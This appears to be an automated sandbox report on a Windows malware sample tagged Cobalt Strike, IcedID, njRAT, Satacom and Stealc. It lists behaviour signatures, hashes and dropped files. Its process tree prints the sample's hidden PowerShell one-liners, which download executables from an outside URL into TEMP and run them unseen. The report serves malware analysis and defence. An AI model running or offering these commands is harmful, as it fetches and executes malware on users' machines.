Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/10/2026, 22:27

General

  • Target
    2026-10-16_1c7821000155d24b22acd4b506c663b8_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 2.8MB
  • Sample261017-2c8dmsds2k
  • SHA256 9ec1cc5264710aadecc5354135d7513bb18f6e782f822434175c5ed14a797e4a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_1c7821000155d24b22acd4b506c663b8_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-16_1c7821000155d24b22acd4b506c663b8_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4680

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 941f472bc738a56bccfed247335b2645f85dd0921848e12b1f74690bf8473904
        • MD5 SHA1 SHA512 TLSH

        WinDivert.dll

        • Path C:\Users\Admin\AppData\Local\Temp\WinDivert.dll
        • Size 46KB
        • SHA256 c1e060ee19444a259b2162f8af0f3fe8c4428a1c6f694dce20de194ac8d7d9a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        WinDivert64.sys

        • Path C:\Users\Admin\AppData\Local\Temp\WinDivert64.sys
        • Size 91KB
        • SHA256 8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_tnd5iqfo.ziv.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnd5iqfo.ziv.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5024-1-0x00000144204F0000-0x0000014420500000-memory.dmp

        memory/5024-0-0x00000144204F0000-0x0000014420500000-memory.dmp

        memory/5024-7-0x0000014420400000-0x0000014420422000-memory.dmp